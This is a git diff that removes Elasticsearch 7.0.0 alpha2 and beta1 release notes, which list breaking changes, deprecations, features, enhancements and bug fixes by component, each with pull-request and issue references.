-* Do not ignore all fields whose names start with underscore {es-pull}36214[#36214] (issue: {es-issue}36206[#36206])
-* Fix issue with wrong data type for scripted Grouping keys {es-pull}35969[#35969] (issue: {es-issue}35662[#35662])
-* Fix translation of math functions to painless {es-pull}35910[#35910] (issue: {es-issue}35654[#35654])
-* Fix jdbc jar to include deps {es-pull}35602[#35602]
-* Fix query translation for scripted queries {es-pull}35408[#35408] (issue: {es-issue}35232[#35232])
-* Clear the cursor if nested inner hits are enough to fulfill the query required limits {es-pull}35398[#35398] (issue: {es-issue}35176[#35176])
-* Introduce IsNull node to simplify expressions {es-pull}35206[#35206] (issues: {es-issue}34876[#34876], {es-issue}35171[#35171])
-* The SSL default configuration shouldn't override the https protocol if used {es-pull}34635[#34635] (issue: {es-issue}33817[#33817])
-* Minor fix for javadoc {es-pull}32573[#32573] (issue: {es-issue}32553[#32553])
-
-Search::
-* Inner hits fail to propagate doc-value format. {es-pull}36310[#36310]
-* Fix custom AUTO issue with Fuzziness#toXContent {es-pull}35807[#35807] (issue: {es-issue}33462[#33462])
-* Fix analyzed prefix query in query_string {es-pull}35756[#35756] (issue: {es-issue}31702[#31702])
-* Fix problem with MatchNoDocsQuery in disjunction queries {es-pull}35726[#35726] (issue: {es-issue}34708[#34708])
-* Fix phrase_slop in query_string query {es-pull}35533[#35533] (issue: {es-issue}35125[#35125])
-* Add a More Like This query routing requirement check (#29678) {es-pull}33974[#33974]
-
-Security::
-* Remove license state listeners on closeables {es-pull}36308[#36308] (issues: {es-issue}33328[#33328], {es-issue}35627[#35627], {es-issue}35628[#35628])
-
-Snapshot/Restore::
-* Upgrade GCS Dependencies to 1.55.0 {es-pull}36634[#36634] (issues: {es-issue}35229[#35229], {es-issue}35459[#35459])
-* Improve Resilience SnapshotShardService {es-pull}36113[#36113] (issue: {es-issue}32265[#32265])
-* Keep SnapshotsInProgress State in Sync with Routing Table {es-pull}35710[#35710]
-* Ensure that gcs client creation is privileged {es-pull}25938[#25938] (issue: {es-issue}25932[#25932])
-* Make calls to CloudBlobContainer#exists privileged {es-pull}25937[#25937] (issue: {es-issue}25931[#25931])
-
-Watcher::
-* Watcher accounts constructed lazily {es-pull}36656[#36656]
-* Only trigger a watch if new or schedule/changed {es-pull}35908[#35908]
-* Fix Watcher NotificationService's secure settings {es-pull}35610[#35610] (issue: {es-issue}35378[#35378])
-* Fix integration tests to ensure correct start/stop of Watcher {es-pull}35271[#35271] (issues: {es-issue}29877[#29877], {es-issue}30705[#30705], {es-issue}33291[#33291], {es-issue}34448[#34448], {es-issue}34462[#34462])
-
-ZenDiscovery::
-* [Zen2] Respect the no_master_block setting {es-pull}36478[#36478]
-* Cancel GetDiscoveredNodesAction when bootstrapped {es-pull}36423[#36423] (issues: {es-issue}36380[#36380], {es-issue}36381[#36381])
-* [Zen2] Only elect master-eligible nodes {es-pull}35996[#35996]
-* [Zen2] Remove duplicate discovered peers {es-pull}35505[#35505]
-
-
-[[regression-7.0.0-alpha2]]
-[discrete]
-=== Regressions
-
-Scripting::
-* Use Number as a return value for BucketAggregationScript {es-pull}35653[#35653] (issue: {es-issue}35351[#35351])
-
-
-[[upgrade-7.0.0-alpha2]]
-[discrete]
-=== Upgrades
-
-Ingest::
-* Update geolite2 database in ingest geoip plugin {es-pull}33840[#33840]
-
-Network::
-* Upgrade Netty 4.3.32.Final {es-pull}36102[#36102] (issue: {es-issue}35360[#35360])
diff --git a/docs/reference/release-notes/7.0.0-beta1.asciidoc b/docs/reference/release-notes/7.0.0-beta1.asciidoc
deleted file mode 100644
index 4a2f3f0c14a..00000000000
--- a/docs/reference/release-notes/7.0.0-beta1.asciidoc
+++ /dev/null
@@ -1,689 +0,0 @@
-[[release-notes-7.0.0-beta1]]
-== {es} version 7.0.0-beta1
-
-Also see <<breaking-changes-7.0,Breaking changes in 7.0>>.
-
-[[breaking-7.0.0-beta1]]
-[discrete]
-=== Breaking changes
-
-Audit::
-* Remove index audit output type {es-pull}37707[#37707] (issues: {es-issue}29881[#29881], {es-issue}37301[#37301])
-
-Authentication::
-* Remove bwc logic for token invalidation {es-pull}36893[#36893] (issue: {es-issue}36727[#36727])
-
-Authorization::
-* Remove implicit index monitor privilege {es-pull}37774[#37774]
-
-CCR::
-* Follow stats api should return a 404 when requesting stats for a non existing index {es-pull}37220[#37220] (issue: {es-issue}37021[#37021])
-
-CRUD::
-* Remove support for internal versioning for concurrency control {es-pull}38254[#38254] (issue: {es-issue}1078[#1078])
-
-Features/Ingest::
-* Add ECS schema for user-agent ingest processor (#37727) {es-pull}37984[#37984] (issues: {es-issue}37329[#37329], {es-issue}37727[#37727])
-* Remove special handling for ingest plugins {es-pull}36967[#36967] (issues: {es-issue}36898[#36898], {es-issue}36956[#36956])
-
-Features/Java Low Level REST Client::
-* Drop support for the low-level REST client on JDK 7 {es-pull}38540[#38540] (issue: {es-issue}29607[#29607])
-
-Features/Watcher::
-* Remove Watcher Account "unsecure" settings {es-pull}36736[#36736] (issue: {es-issue}36403[#36403])
-
-Infra/Logging::
-* Elasticsearch json logging  {es-pull}36833[#36833] (issue: {es-issue}32850[#32850])
-
-Infra/Packaging::
-* Package ingest-user-agent as a module {es-pull}36956[#36956]
-* Package ingest-geoip as a module {es-pull}36898[#36898]
-
-Machine Learning::
-* [ML] Remove types from datafeed {es-pull}36538[#36538] (issue: {es-issue}34265[#34265])
-
-Mapping::
-* Make sure to reject mappings with type _doc when include_type_name is false. {es-pull}38270[#38270] (issue: {es-issue}38266[#38266])
-* Update the default for include_type_name to false. {es-pull}37285[#37285]
-* Support 'include_type_name' in RestGetIndicesAction {es-pull}37149[#37149]
-
-Network::
-* Remove TLS 1.0 as a default SSL protocol {es-pull}37512[#37512] (issue: {es-issue}36021[#36021])
-* Security: remove SSL settings fallback {es-pull}36846[#36846] (issue: {es-issue}29797[#29797])
-
-Ranking::
-* Forbid negative field boosts in analyzed queries {es-pull}37930[#37930] (issue: {es-issue}33309[#33309])
-
-Search::
-* Track total hits up to 10,000 by default {es-pull}37466[#37466] (issue: {es-issue}33028[#33028])
-* Use mappings to format doc-value fields by default. {es-pull}30831[#30831] (issues: {es-issue}26948[#26948], {es-issue}29639[#29639])
-
-Security::
-* Remove heuristics that enable security on trial licenses {es-pull}38075[#38075] (issue: {es-issue}38009[#38009])
-
-ZenDiscovery::
-* Remove DiscoveryPlugin#getDiscoveryTypes {es-pull}38414[#38414] (issue: {es-issue}38410[#38410])
-
-
-
-[[breaking-java-7.0.0-beta1]]
-[discrete]
-=== Breaking Java changes
-
-Features/Java Low Level REST Client::
-* Remove support for maxRetryTimeout from low-level REST client {es-pull}38085[#38085] (issues: {es-issue}25951[#25951], {es-issue}31834[#31834], {es-issue}33342[#33342])
-
-Infra/Core::
-* Handle scheduler exceptions {es-pull}38014[#38014] (issues: {es-issue}28667[#28667], {es-issue}36137[#36137], {es-issue}37708[#37708])
-
-
-
-[[deprecation-7.0.0-beta1]]
-[discrete]
-=== Deprecations
-
-Aggregations::
-* Deprecate dots in aggregation names {es-pull}31468[#31468] (issues: {es-issue}17600[#17600], {es-issue}19040[#19040])
-
-Analysis::
-* [Analysis] Deprecate Standard Html Strip Analyzer in master {es-pull}26719[#26719] (issue: {es-issue}4704[#4704])
-
-Audit::
-* Deprecate index audit output type {es-pull}37301[#37301] (issue: {es-issue}29881[#29881])
-
-Features/Indices APIs::
-* Reject setting index.optimize_auto_generated_id after version 7.0.0 {es-pull}28895[#28895] (issue: {es-issue}27600[#27600])
-
-Features/Ingest::
-* Deprecate `_type` in simulate pipeline requests {es-pull}37949[#37949] (issue: {es-issue}37731[#37731])
-
-Features/Java High Level REST Client::
-* Deprecate HLRC security methods {es-pull}37883[#37883] (issues: {es-issue}36938[#36938], {es-issue}37540[#37540])
-* Deprecate HLRC EmptyResponse used by security {es-pull}37540[#37540] (issue: {es-issue}36938[#36938])
-
-Features/Watcher::
-* Deprecate xpack.watcher.history.cleaner_service.enabled {es-pull}37782[#37782] (issue: {es-issue}32041[#32041])
-* deprecate types for watcher {es-pull}37594[#37594] (issue: {es-issue}35190[#35190])
-
-Infra/Core::
-* Core: Deprecate negative epoch timestamps {es-pull}36793[#36793]
-* Core: Deprecate use of scientific notation in epoch time parsing {es-pull}36691[#36691]
-
-Infra/Scripting::
-* Add types deprecation to script contexts {es-pull}37554[#37554]
-* Deprecate _type from LeafDocLookup {es-pull}37491[#37491]
-* Scripting: Remove deprecated params.ctx {es-pull}36848[#36848] (issue: {es-issue}34059[#34059])
-
-Machine Learning::
-* Adding ml_settings entry to HLRC and Docs for deprecation_info {es-pull}38118[#38118]
-* [ML] Datafeed deprecation checks {es-pull}38026[#38026] (issue: {es-issue}37932[#37932])
-* [ML] Remove "8" prefixes from file structure finder timestamp formats {es-pull}38016[#38016]
-* [ML] Adjust structure finder for Joda to Java time migration {es-pull}37306[#37306]
-* [ML] Resolve 7.0.0 TODOs in ML code {es-pull}36842[#36842] (issue: {es-issue}29963[#29963])
-
-Mapping::
-* Deprecate types in rollover index API {es-pull}38039[#38039] (issue: {es-issue}35190[#35190])
-* Deprecate types in get field mapping API {es-pull}37667[#37667] (issue: {es-issue}35190[#35190])
-*  Deprecate types in the put mapping API. {es-pull}37280[#37280] (issues: {es-issue}29453[#29453], {es-issue}37285[#37285])
-* Support include_type_name in the field mapping and index template APIs. {es-pull}37210[#37210]
-* Deprecate types in create index requests. {es-pull}37134[#37134] (issues: {es-issue}29453[#29453], {es-issue}37285[#37285])
-* Deprecate use of the _type field in aggregations. {es-pull}37131[#37131] (issue: {es-issue}36802[#36802])
-* Deprecate reference to _type in lookup queries {es-pull}37016[#37016] (issue: {es-issue}35190[#35190])
-* Deprecate the document create endpoint. {es-pull}36863[#36863]
-* Deprecate types in index API {es-pull}36575[#36575] (issues: {es-issue}35190[#35190], {es-issue}35790[#35790])
-* Deprecate types in update APIs {es-pull}36225[#36225]
-
-Search::
-* Deprecate use of type in reindex request body {es-pull}36823[#36823]
-* Add typless endpoints for get_source and exist_source {es-pull}36426[#36426]
-
-
-
-[[feature-7.0.0-beta1]]
-[discrete]
-=== New features
-
-Authentication::
-* Add support for API keys to access Elasticsearch {es-pull}38291[#38291] (issue: {es-issue}34383[#34383])
-* OIDC realm authentication flows {es-pull}37787[#37787]
-* [WIP] OIDC Realm JWT+JWS related functionality {es-pull}37272[#37272] (issues: {es-issue}35339[#35339], {es-issue}37009[#37009])
-* OpenID Connect Realm base functionality {es-pull}37009[#37009] (issue: {es-issue}35339[#35339])
-
-Authorization::
-* Allow custom authorization with an authorization engine  {es-pull}38358[#38358] (issues: {es-issue}32435[#32435], {es-issue}36245[#36245], {es-issue}37328[#37328], {es-issue}37495[#37495], {es-issue}37785[#37785], {es-issue}38137[#38137], {es-issue}38219[#38219])
-* WIldcard IndicesPermissions don't cover .security {es-pull}36765[#36765]
-
-CCR::
-* Add ccr follow info api {es-pull}37408[#37408] (issue: {es-issue}37127[#37127])
-
-Features/ILM::
-* [ILM] Add unfollow action {es-pull}36970[#36970] (issue: {es-issue}34648[#34648])
-
-Geo::
-* geotile_grid implementation {es-pull}37842[#37842] (issue: {es-issue}30240[#30240])
-* [GEO] Fork Lucene's LatLonShape Classes to local lucene package {es-pull}36794[#36794]
-* [Geo] Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}36751[#36751] (issue: {es-issue}35320[#35320])
-* [Geo] Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}35320[#35320] (issue: {es-issue}32039[#32039])
-
-Machine Learning::
-* ML: Adds set_upgrade_mode API endpoint {es-pull}37837[#37837]
-
-Mapping::
-* Give precedence to index creation when mixing typed templates with typeless index creation and vice-versa. {es-pull}37871[#37871] (issue: {es-issue}37773[#37773])
-* Add nanosecond field mapper {es-pull}37755[#37755] (issues: {es-issue}27330[#27330], {es-issue}32601[#32601])
-
-SQL::
-* SQL: Allow sorting of groups by aggregates {es-pull}38042[#38042] (issue: {es-issue}35118[#35118])
-* SQL: Implement FIRST/LAST aggregate functions {es-pull}37936[#37936] (issue: {es-issue}35639[#35639])
-* SQL: Introduce SQL DATE data type {es-pull}37693[#37693] (issue: {es-issue}37340[#37340])
-
-Search::
-* Introduce ability to minimize round-trips in CCS {es-pull}37828[#37828] (issues: {es-issue}32125[#32125], {es-issue}37566[#37566])
-* Add script filter to intervals {es-pull}36776[#36776]
-* Add the ability to set the number of hits to track accurately {es-pull}36357[#36357] (issue: {es-issue}33028[#33028])
-* Add a maximum search request size. {es-pull}26423[#26423]
-
-
-
-[[enhancement-7.0.0-beta1]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Add Composite to AggregationBuilders {es-pull}38207[#38207] (issue: {es-issue}38020[#38020])
-* Allow nested fields in the composite aggregation {es-pull}37178[#37178] (issue: {es-issue}28611[#28611])
-* Remove single shard optimization when suggesting shard_size {es-pull}37041[#37041] (issue: {es-issue}32125[#32125])
-* Use List instead of priority queue for stable sorting in bucket sort aggregator {es-pull}36748[#36748] (issue: {es-issue}36322[#36322])
-* Keys are compared in BucketSortPipelineAggregation so making key type… {es-pull}36407[#36407]
-
-Allocation::
-* Fail start on obsolete indices documentation {es-pull}37786[#37786] (issue: {es-issue}27073[#27073])
-* Fail start on invalid index metadata {es-pull}37748[#37748] (issue: {es-issue}27073[#27073])
-* Fail start of non-data node if node has data {es-pull}37347[#37347] (issue: {es-issue}27073[#27073])
-
-Analysis::
-* Allow word_delimiter_graph_filter to not adjust internal offsets {es-pull}36699[#36699] (issues: {es-issue}33710[#33710], {es-issue}34741[#34741])
-
-Audit::
-* Security Audit includes HTTP method for requests {es-pull}37322[#37322] (issue: {es-issue}29765[#29765])
-* Add X-Forwarded-For to the logfile audit {es-pull}36427[#36427]
-
-Authentication::
-* Security: propagate auth result to listeners {es-pull}36900[#36900] (issue: {es-issue}30794[#30794])
-* Security: reorder realms based on last success {es-pull}36878[#36878]
-* Improve error message for 6.x style realm settings {es-pull}36876[#36876] (issues: {es-issue}30241[#30241], {es-issue}36026[#36026])
-* Change missing authn message to not mention tokens {es-pull}36750[#36750]
-* Invalidate Token API enhancements - HLRC {es-pull}36362[#36362] (issue: {es-issue}35388[#35388])
-* Enhance Invalidate Token API {es-pull}35388[#35388] (issues: {es-issue}34556[#34556], {es-issue}35115[#35115])
-
-Authorization::
-* Add apm_user reserved role {es-pull}38206[#38206]
-* Permission for restricted indices {es-pull}37577[#37577] (issue: {es-issue}34454[#34454])
-* Remove kibana_user and kibana_dashboard_only_user index privileges {es-pull}37441[#37441]
-* Create snapshot role {es-pull}35820[#35820] (issue: {es-issue}34454[#34454])
-
-CCR::
-* Concurrent file chunk fetching for CCR restore {es-pull}38495[#38495]
-* Tighten mapping syncing in ccr remote restore {es-pull}38071[#38071] (issues: {es-issue}36879[#36879], {es-issue}37887[#37887])
-* Do not allow put mapping on follower {es-pull}37675[#37675] (issue: {es-issue}30086[#30086])
-* Added ccr to xpack usage infrastructure {es-pull}37256[#37256] (issue: {es-issue}37221[#37221])
-* [CCR] FollowingEngine should fail with 403 if operation has no seqno assigned {es-pull}37213[#37213]
-* [CCR] Added auto_follow_exception.timestamp field to auto follow stats {es-pull}36947[#36947]
-* [CCR] Add time since last auto follow fetch to auto follow stats {es-pull}36542[#36542] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-
-CRUD::
-* Add Seq# based optimistic concurrency control to UpdateRequest {es-pull}37872[#37872] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Introduce ssl settings to reindex from remote {es-pull}37527[#37527] (issues: {es-issue}29755[#29755], {es-issue}37287[#37287])
-* Use Sequence number powered OCC for processing updates {es-pull}37308[#37308] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Document Seq No powered optimistic concurrency control {es-pull}37284[#37284] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Enable IPv6 URIs in reindex from remote {es-pull}36874[#36874]
-* Rename seq# powered optimistic concurrency control parameters to ifSeqNo/ifPrimaryTerm  {es-pull}36757[#36757] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Expose Sequence Number based Optimistic Concurrency Control in the rest layer {es-pull}36721[#36721] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add doc's sequence number + primary term to GetResult and use it for updates {es-pull}36680[#36680] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add seq no powered optimistic locking support to the index and delete transport actions {es-pull}36619[#36619] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Set acking timeout to 0 on dynamic mapping update {es-pull}31140[#31140] (issues: {es-issue}30672[#30672], {es-issue}30844[#30844])
-
-Distributed::
-* Recover retention leases during peer recovery {es-pull}38435[#38435] (issue: {es-issue}37165[#37165])
-* Lift retention lease expiration to index shard {es-pull}38380[#38380] (issues: {es-issue}37165[#37165], {es-issue}37963[#37963], {es-issue}38070[#38070])
-* Introduce retention lease background sync {es-pull}38262[#38262] (issue: {es-issue}37165[#37165])
-* Allow shards of closed indices to be replicated as regular shards {es-pull}38024[#38024] (issue: {es-issue}33888[#33888])
-* Expose retention leases in shard stats {es-pull}37991[#37991] (issue: {es-issue}37165[#37165])
-* Introduce retention leases versioning {es-pull}37951[#37951] (issue: {es-issue}37165[#37165])
-* Soft-deletes policy should always fetch latest leases {es-pull}37940[#37940] (issues: {es-issue}37165[#37165], {es-issue}37375[#37375])
-* Sync retention leases on expiration {es-pull}37902[#37902] (issue: {es-issue}37165[#37165])
-* Ignore shard started requests when primary term does not match {es-pull}37899[#37899] (issue: {es-issue}33888[#33888])
-* Move update and delete by query to use seq# for optimistic concurrency control {es-pull}37857[#37857] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148], {es-issue}37639[#37639])
-* Introduce retention lease serialization {es-pull}37447[#37447] (issues: {es-issue}37165[#37165], {es-issue}37398[#37398])
-* Add run under primary permit method {es-pull}37440[#37440] (issue: {es-issue}37398[#37398])
-* Introduce retention lease syncing {es-pull}37398[#37398] (issue: {es-issue}37165[#37165])
-* Introduce retention lease persistence {es-pull}37375[#37375] (issue: {es-issue}37165[#37165])
-* Add validation for retention lease construction {es-pull}37312[#37312] (issue: {es-issue}37165[#37165])
-* Introduce retention lease expiration {es-pull}37195[#37195] (issue: {es-issue}37165[#37165])
-* Introduce shard history retention leases {es-pull}37167[#37167] (issue: {es-issue}37165[#37165])
-* [Close Index API] Add unique UUID to ClusterBlock {es-pull}36775[#36775]
-* [Close Index API] Mark shard copy as stale if needed during shard verification {es-pull}36755[#36755]
-* [Close Index API] Propagate tasks ids between Freeze, Close and Verify Shard actions {es-pull}36630[#36630]
-* Always initialize the global checkpoint {es-pull}34381[#34381]
-
-Engine::
-* Specialize pre-closing checks for engine implementations {es-pull}38702[#38702]
-* Ensure that max seq # is equal to the global checkpoint when creating ReadOnlyEngines {es-pull}37426[#37426]
-* Enable Bulk-Merge if all source remains {es-pull}37269[#37269]
-* Rename setting to enable mmap {es-pull}37070[#37070] (issue: {es-issue}36668[#36668])
-* Add hybridfs store type {es-pull}36668[#36668]
-* Introduce time-based retention policy for soft-deletes {es-pull}34943[#34943] (issue: {es-issue}34908[#34908])
-* handle AsyncAfterWriteAction failure on primary in the same way as failures on replicas  {es-pull}31969[#31969] (issues: {es-issue}31716[#31716], {es-issue}31755[#31755])
-
-Features/CAT APIs::
-* Expose `search.throttled` on `_cat/indices` {es-pull}37073[#37073] (issue: {es-issue}34352[#34352])
-
-Features/Features::
-* Run Node deprecation checks locally (#38065) {es-pull}38250[#38250] (issue: {es-issue}38065[#38065])
-
-Features/ILM::
-* Ensure ILM policies run safely on leader indices  {es-pull}38140[#38140] (issue: {es-issue}34648[#34648])
-* Skip Shrink when numberOfShards not changed {es-pull}37953[#37953] (issue: {es-issue}33275[#33275])
-* Inject Unfollow before Rollover and Shrink {es-pull}37625[#37625] (issue: {es-issue}34648[#34648])
-* Add set_priority action to ILM {es-pull}37397[#37397] (issue: {es-issue}36905[#36905])
-* [ILM] Add Freeze Action {es-pull}36910[#36910] (issue: {es-issue}34630[#34630])
-
-Features/Indices APIs::
-* New mapping signature and mapping string source fixed. {es-pull}37401[#37401]
-
-Features/Ingest::
-* ingest: compile mustache template only if field includes '{{'' {es-pull}37207[#37207] (issue: {es-issue}37120[#37120])
-* Move ingest-geoip default databases out of config {es-pull}36949[#36949] (issue: {es-issue}36898[#36898])
-* Make the ingest-geoip databases even lazier to load {es-pull}36679[#36679]
-* Updates the grok patterns to be consistent with the logstash {es-pull}27181[#27181]
-
-Features/Java High Level REST Client::
-* HLRC: Fix strict setting exception handling {es-pull}37247[#37247] (issue: {es-issue}37090[#37090])
-* HLRC: Use nonblocking entity for requests {es-pull}32249[#32249]
-
-Features/Monitoring::
-* Adding mapping for hostname field {es-pull}37288[#37288]
-
-Features/Stats::
-* Stats: Add JVM dns cache expiration config to JvmInfo {es-pull}36372[#36372]
-
-Features/Watcher::
-* Move watcher to use seq# and primary term for concurrency control {es-pull}37977[#37977] (issues: {es-issue}10708[#10708], {es-issue}37872[#37872])
-* Use ILM for Watcher history deletion {es-pull}37443[#37443] (issue: {es-issue}32041[#32041])
-* Watcher: Add whitelist to HttpClient {es-pull}36817[#36817] (issue: {es-issue}29937[#29937])
-
-Infra/Core::
-* fix a few versionAdded values in ElasticsearchExceptions {es-pull}37877[#37877]
-* Add simple method to write collection of writeables {es-pull}37448[#37448] (issue: {es-issue}37398[#37398])
-* Date/Time parsing: Use java time API instead of exception handling {es-pull}37222[#37222]
-* [API] spelling: interruptible {es-pull}37049[#37049] (issue: {es-issue}37035[#37035])
-
-Infra/Logging::
-* Trim the JSON source in indexing slow logs {es-pull}38081[#38081] (issue: {es-issue}38080[#38080])
-* Optimize warning header de-duplication {es-pull}37725[#37725] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530], {es-issue}37597[#37597], {es-issue}37622[#37622])
-* Remove warn-date from warning headers {es-pull}37622[#37622] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530], {es-issue}37597[#37597])
-* Add some deprecation optimizations {es-pull}37597[#37597] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530])
-* Only update response headers if we have a new one {es-pull}37590[#37590] (issues: {es-issue}35754[#35754], {es-issue}37530[#37530])
-
-Infra/Packaging::
-* Add OS/architecture classifier to distributions {es-pull}37881[#37881]
-* Change file descriptor limit to 65535 {es-pull}37537[#37537] (issue: {es-issue}35839[#35839])
-* Exit batch files explictly using ERRORLEVEL {es-pull}29583[#29583] (issue: {es-issue}29582[#29582])
-
-Infra/Scripting::
-* Add getZone to JodaCompatibleZonedDateTime {es-pull}37084[#37084]
-* [Painless] Add boxed type to boxed type casts for method/return {es-pull}36571[#36571]
-
-Infra/Settings::
-* Separate out validation of groups of settings {es-pull}34184[#34184]
-
-License::
-* Handle malformed license signatures {es-pull}37137[#37137] (issue: {es-issue}35340[#35340])
-
-Machine Learning::
-* Move ML Optimistic Concurrency Control to Seq No {es-pull}38278[#38278] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* [ML] Add explanation so far to file structure finder exceptions {es-pull}38191[#38191] (issue: {es-issue}29821[#29821])
-* ML: Add reason field in JobTaskState {es-pull}38029[#38029] (issue: {es-issue}34431[#34431])
-* [ML] Add _meta information to all ML indices {es-pull}37964[#37964]
-* ML: Add upgrade mode docs, hlrc, and fix bug {es-pull}37942[#37942]
-* [ML] Tighten up use of aliases rather than concrete indices {es-pull}37874[#37874]
-* ML: Add support for single bucket aggs in Datafeeds {es-pull}37544[#37544] (issue: {es-issue}36838[#36838])
-* [ML] Create the ML annotations index {es-pull}36731[#36731] (issues: {es-issue}26034[#26034], {es-issue}33376[#33376])
-* [ML] Merge the Jindex master feature branch {es-pull}36702[#36702] (issue: {es-issue}32905[#32905])
-* [FEATURE][ML] Add cluster setting to enable/disable config  migration {es-pull}36700[#36700] (issue: {es-issue}32905[#32905])
-
-Mapping::
-* Log document id when MapperParsingException occurs {es-pull}37800[#37800] (issue: {es-issue}37658[#37658])
-* [API] spelling: unknown {es-pull}37056[#37056] (issue: {es-issue}37035[#37035])
-* Make SourceToParse immutable {es-pull}36971[#36971]
-* Use index-prefix fields for terms of length min_chars - 1 {es-pull}36703[#36703]
-
-Network::
-* Enable TLSv1.3 by default for JDKs with support {es-pull}38103[#38103] (issue: {es-issue}32276[#32276])
-
-Recovery::
-* SyncedFlushService.getShardRoutingTable() should use metadata to check for index existence {es-pull}37691[#37691] (issue: {es-issue}33888[#33888])
-* Make prepare engine step of recovery source non-blocking {es-pull}37573[#37573] (issue: {es-issue}37174[#37174])
-* Make recovery source send operations non-blocking {es-pull}37503[#37503] (issue: {es-issue}37458[#37458])
-* Prepare to make send translog of recovery non-blocking {es-pull}37458[#37458] (issue: {es-issue}37291[#37291])
-* Make finalize step of recovery source non-blocking {es-pull}37388[#37388] (issue: {es-issue}37291[#37291])
-* Make recovery source partially non-blocking {es-pull}37291[#37291] (issue: {es-issue}36195[#36195])
-* Do not mutate RecoveryResponse {es-pull}37204[#37204] (issue: {es-issue}37174[#37174])
-* Don't block on peer recovery on the target side {es-pull}37076[#37076] (issue: {es-issue}36195[#36195])
-* Reduce recovery time with compress or secure transport {es-pull}36981[#36981] (issue: {es-issue}33844[#33844])
-* Translog corruption marker {es-pull}33415[#33415] (issue: {es-issue}31389[#31389])
-
-Rollup::
-* Replace the TreeMap in the composite aggregation {es-pull}36675[#36675]
-
-SQL::
-* SQL: Allow look-ahead resolution of aliases for WHERE clause {es-pull}38450[#38450] (issue: {es-issue}29983[#29983])
-* SQL: Implement CURRENT_DATE {es-pull}38175[#38175] (issue: {es-issue}38160[#38160])
-* SQL: Generate relevant error message when grouping functions are not used in GROUP BY {es-pull}38017[#38017] (issue: {es-issue}37952[#37952])
-* SQL: Skip the nested and object field types in case of an ODBC request {es-pull}37948[#37948] (issue: {es-issue}37801[#37801])
-* SQL: Add protocol tests and remove jdbc_type from drivers response {es-pull}37516[#37516] (issues: {es-issue}36635[#36635], {es-issue}36882[#36882])
-* SQL: Remove slightly used meta commands {es-pull}37506[#37506] (issue: {es-issue}37409[#37409])
-* SQL: Describe aliases as views {es-pull}37496[#37496] (issue: {es-issue}37422[#37422])
-* SQL: Make `FULL` non-reserved keyword in the grammar {es-pull}37377[#37377] (issue: {es-issue}37376[#37376])
-* SQL: Use declared source for error messages {es-pull}37161[#37161]
-* SQL: Improve error message when unable to translate to ES query DSL {es-pull}37129[#37129] (issue: {es-issue}37040[#37040])
-* [API] spelling: subtract {es-pull}37055[#37055] (issue: {es-issue}37035[#37035])
-* [API] spelling: similar {es-pull}37054[#37054] (issue: {es-issue}37035[#37035])
-* [API] spelling: input {es-pull}37048[#37048] (issue: {es-issue}37035[#37035])
-* SQL: Enhance message for PERCENTILE[_RANK] with field as 2nd arg {es-pull}36933[#36933] (issue: {es-issue}36903[#36903])
-* SQL: Preserve original source for each expression {es-pull}36912[#36912] (issue: {es-issue}36894[#36894])
-* SQL: Extend the ODBC metric by differentiating between 32 and 64bit platforms {es-pull}36753[#36753] (issue: {es-issue}36740[#36740])
-* SQL: Fix wrong appliance of StackOverflow limit for IN {es-pull}36724[#36724] (issue: {es-issue}36592[#36592])
-
-Search::
-* Tie break on cluster alias when merging shard search failures {es-pull}38715[#38715] (issue: {es-issue}38672[#38672])
-* Add finalReduce flag to SearchRequest {es-pull}38104[#38104] (issues: {es-issue}37000[#37000], {es-issue}37838[#37838])
-* Streamline skip_unavailable handling {es-pull}37672[#37672] (issue: {es-issue}32125[#32125])
-* Expose sequence number and primary terms in search responses {es-pull}37639[#37639]
-* Add support for merging multiple search responses into one {es-pull}37566[#37566] (issue: {es-issue}32125[#32125])
-* Allow field types to optimize phrase prefix queries {es-pull}37436[#37436] (issue: {es-issue}31921[#31921])
-* Add support for providing absolute start time to SearchRequest {es-pull}37142[#37142] (issue: {es-issue}32125[#32125])
-* Ensure that local cluster alias is never treated as remote {es-pull}37121[#37121] (issues: {es-issue}32125[#32125], {es-issue}36997[#36997])
-* [API] spelling: cacheable {es-pull}37047[#37047] (issue: {es-issue}37035[#37035])
-* Add ability to suggest shard_size on coord node rewrite {es-pull}37017[#37017] (issues: {es-issue}32125[#32125], {es-issue}36997[#36997], {es-issue}37000[#37000])
-* Skip final reduction if SearchRequest holds a cluster alias {es-pull}37000[#37000] (issues: {es-issue}32125[#32125], {es-issue}36997[#36997])
-* Add support for local cluster alias to SearchRequest {es-pull}36997[#36997] (issue: {es-issue}32125[#32125])
-* Use SearchRequest copy constructor in ExpandSearchPhase {es-pull}36772[#36772] (issue: {es-issue}36641[#36641])
-* Add raw sort values to SearchSortValues transport serialization {es-pull}36617[#36617] (issue: {es-issue}32125[#32125])
-
-Security::
-* Move CAS operations in TokenService to sequence numbers {es-pull}38311[#38311] (issues: {es-issue}10708[#10708], {es-issue}37872[#37872])
-* Cleanup construction of interceptors {es-pull}38294[#38294]
-* Add passphrase support to elasticsearch-keystore {es-pull}37472[#37472] (issue: {es-issue}32691[#32691])
-
-Snapshot/Restore::
-* RestoreService should update primary terms when restoring shards of existing indices {es-pull}38177[#38177] (issue: {es-issue}33888[#33888])
-* Allow open indices to be restored {es-pull}37733[#37733]
-* Create specific exception for when snapshots are in progress {es-pull}37550[#37550] (issue: {es-issue}37541[#37541])
-* SNAPSHOT: Make Atomic Blob Writes Mandatory {es-pull}37168[#37168] (issues: {es-issue}37011[#37011], {es-issue}37066[#37066])
-* SNAPSHOT: Speed up HDFS Repository Writes {es-pull}37069[#37069]
-* Implement Atomic Blob Writes for HDFS Repository {es-pull}37066[#37066] (issue: {es-issue}37011[#37011])
